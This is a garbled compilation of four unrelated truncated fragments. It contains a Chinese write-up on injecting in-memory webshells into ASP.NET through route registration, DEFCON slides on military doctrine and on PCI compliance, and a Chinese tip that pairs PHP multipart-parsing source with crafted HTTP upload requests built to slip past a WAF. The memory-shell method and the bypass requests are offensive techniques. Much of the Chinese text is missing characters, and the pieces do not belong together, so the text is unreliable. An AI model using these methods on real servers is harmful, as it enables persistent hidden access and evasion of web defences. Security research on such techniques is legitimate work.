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1 ASP.NET下的内存Route内存的N种写法 前 System.Web.Routing Route内存 实现RouteBase GetRouteData GetVirtualPath 优先级 利System.Web.Routing.Route 注RouteHandler 注HttpHandler 路由问题 添加到第位 测试 参考 @yzddmr6 asp.net下的内存研究章较少前提到过的包括虚拟路径内存以及HttpListener内存最近 研究了下其他类型的内存发现.net可以利的地要多得多所以准备写个系列章讲讲 asp.net下的内存 章仅作研究性质不保证任何实战效果请勿于法途 上篇讲了asp.net mvc下的filter内存必须依赖于system.web.mvc.dll这个东也就是只能在.net mvc下使那么如何仅利.net framework的dll来实现新的内存呢这就引出了今天讲的route 内存 System.Web.Routing这个类最早出现在.net 3.5主要于在 ASP.NET 应程序中处理路由 前 System.Web.Routing 2 微软档介绍 如果我们能够动态打进去个路由然后映射到我们定义的类即可实现内存的效果 那么如何添加呢我们上篇章看到了在mvc中是存在个GlobalFilters.Filters来存放filter第个 RouteTable.Routes便是存放全局route的collection 这提嘴为啥不能直接mvc下的RouteConfig.RegisterRoutes来注册route 点进函数可以看到调了System.Web.Mvc.RouteCollectionExtensions.MapRoute法这个法 也是要依赖System.Web.Mvc.dll的所以不能直接拿来 Route内存 C++ 复制代码 Route类使你可以指定如何在 ASP.NET 应程序中处理路由 你 Route 为要映射到的每个 URL 模式创建个对象该对象可以处理与该模式对应的请求 然后将路由添加到 Routes 集合 当 应程序收到请求时ASP.NET 路由会循环访问集合中的路由 Routes 以查找第个与 URL 模 式匹配的路由 将 Url 属性设置为 URL 模式 URL 模式由传 HTTP 请求中的应程序名称后的段组成 例如在 URL 中 http://www.contoso.com/products/show/beverages 模式适于 products/show/beverages  具有三个段如的模式 {controller}/{action}/{id} 与 URL 匹配 http://www.contoso.com/products/show/beverages  每个段均由 / 字符分 隔 当段括在括号中 ({ 和 }) 时段会被称为 URL 参数 ASP.NET 路由从请求中检索值并 将其分配给 URL 参数 在上的示例中将为 URL 参数 action 分配值 show  如果段未括 在括号中则该值将被视为本值 将 Defaults 属性设置为个 RouteValueDictionary 对象该对象包含在 url 缺少参数时 使的值或者设置未在 url 中参数化的其他值 将 Constraints 属性设置为 RouteValueDictionary 包含正则表达式或对象的值的对象 IRouteConstraint  这些值于 确定参数值是否有效 1 2 3 4 5 C++ 复制代码 public class MvcApplication : System.Web.HttpApplication { protected void Application_Start() { AreaRegistration.RegisterAllAreas(); FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters); RouteConfig.RegisterRoutes(RouteTable.Routes); BundleConfig.RegisterBundles(BundleTable.Bundles); } } 1 2 3 4 5 6 7 8 9 10 3 路寻找重载发现实际上就是给RouteTable.Routes增加了个元素我们直接调route.Add即 可 System.Web.Routing.RouteCollection.Add第个参数是名字不过没有太处只是为了判断map 有没有重复的第个参数是重点要打进去个RouteBase类型的itemRouteBase是个抽象 类默认的实现为System.Web.Rou


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Art of the possible Christopher Cleary ccleary266@gmail.com Plans are nothing; planning is everything. - Dwight D. Eisenhower (1890-1969) 1 Clash of civilizations Invincibility lies in the defense; the possibility of victory in the attack. - Sun Tzu DEFCON 19 How did I get here and what did I learn along the way 3 One of these things is not like the other Strategy without tactics is the slowest route to victory. Tactics without strategy is the noise before defeat. - Sun Tzu These two are closer than we think Every citizen should be a soldier. This was the case with the Greeks and Romans, and must be that of every free state. -Thomas Jefferson spectrum of conflict Increasing Violence Insurgency Unstable Peace Stable Peace General War Peacetime Military Engagement Limited Intervention Major Combat Operations Peace Operations Irregular Warfare  Training and Exercises  Recovery Operations  Arms Control  Counter Drug  NEO Ops  Strike, Raid  Show of Force  Sanction Enforcement  Peacekeeping  Peace Building  Peacemaking  Conflict Prevention  Support to Insurgency  Counterinsurgency  Combating Terrorism  Unconventional Warfare  Named Operations  Significant offensive and defensive operations Operational Themes Elements of Full Spectrum Operations Offensive Operations Primary Tasks  Movement to Contact  Attack  Exploitation  Pursuit Purposes  Isolate, Disrupt, Destroy  Seize key terrain  Deprive enemy of resources  Deceive and divert enemy Stability Operations Primary Tasks  Civil Security  Civil Control  Support to Governance  Support to Infrastructure Development Purposes  Provide a Secure Environment  Meet the Critical Needs of the Populace  Gain Support for the Host-Nation  Shape the Environment for Success Defensive Operations Primary Tasks  Mobile Defense  Area Defense (Static)  Retrograde Purposes  Deter or Defeat Offensive Operations  Gain Time  Achieve Economy of Force  Protect a Populace, Critical Assets and Infrastructure Civil Support Operations Primary Tasks  Ci


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PCI 2.0: Still Compromising Controls and Compromising Security PCI? At DefCon? Again? Use the hashtag #DefconPCI to rant on the Twitterz during this talk. We damn sure will! Use @defconPCIpanel for comments or Twitter-heckling Who are we?  Dave Shackleford @daveshackleford  Joshua Corman @joshcorman  James Arlen @myrcurial  Jack Daniel @jack_daniel  Alex Hutton @alexhutton  Martin McKeay @mckeay Usual disclaimers  We do not speak for our employers, clients or customers. Nor for our spouses, siblings, or offspring. But my dog will back me up.  Our opinions are our own, the facts are as we see them.  We arent lawyersetc.  These QSAs are not your QSAs. Déjà vu all over again Déjà vu all over again Last year  PCI 2.0 was new.  PCI 2.0 was fresh.  PCI 2.0 was just as frustrating as PCI 1.x.  PCI 2.0 was still lacking in concrete guidance on a LOT of things:  Mobile devices  Virtualization  Sowhere the hell are we now? The Good Becoming Compliant is not easy So what? Does Compliance affect secure at all? We dont know how to measure secure so the best we can look at is the frequency & characteristics of incidents, and compare those to PCI. How difficult and targeted were the attacks? The Bad The Bad Sometimes people cheat The Ugly Is History Doomed to Repeat Itself?  We are doing the same %&$# as a decade ago.  Firewalls.  SSL.  Patches (maybe).  Crypto (sort of).  Can a WAF save us all!?  Ahem. The Ugly The Solution(s)?


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分享一下WAF Bypass 一个小的tips 本文通过php 源码来理解 bypass waf 绕过原理 一段PHP代码 绕过一 boundary获取方式 首先看看Content-Type 是怎么获取的到 Content-Type: multipart/form-data; boundary=aa https://github.com/php/php-src/blob/90b7bde61507cee1c6b37f153909d72f5b203b8c/main/rfc18 67.c 首先从Content-Type 获取boundary 然后拿等号后面的值做boundary 的值那么绕过如下 <?php var_dump($_POST); var_dump($_FILES); ?> boundary = strstr(content_type_dup, "boundary"); if (!boundary) { int content_type_len = (int)strlen(content_type_dup); char *content_type_lcase = estrndup(content_type_dup, content_type_len); zend_str_tolower(content_type_lcase, content_type_len); boundary = strstr(content_type_lcase, "boundary"); if (boundary) { boundary = content_type_dup + (boundary - content_type_lcase); } efree(content_type_lcase); } if (!boundary || !(boundary = strchr(boundary, '='))) { sapi_module.sapi_error(E_WARNING, "Missing boundary in multipart/form- data POST data"); return; } POST /upload/upload.php HTTP/1.1 Host: 192.168.1.72 Content-Length: 175 Content-Type: multipart/form-data; boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary=222 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Connection: close 伪造一下application/x-www-form-urlencoded --222 Content-Disposition: form-data; name="file"; filename="111.png" Content-Type: image/png 1 --222 Content-Disposition: form-data; name="submit" Submit --222-- POST /upload/upload.php HTTP/1.1 Host: 192.168.1.72 Content-Length: 175 Content-Type: Multipart/form-data boundaryboundaryboundarybounda application/x-www-form-urlencoded ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybounda ryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound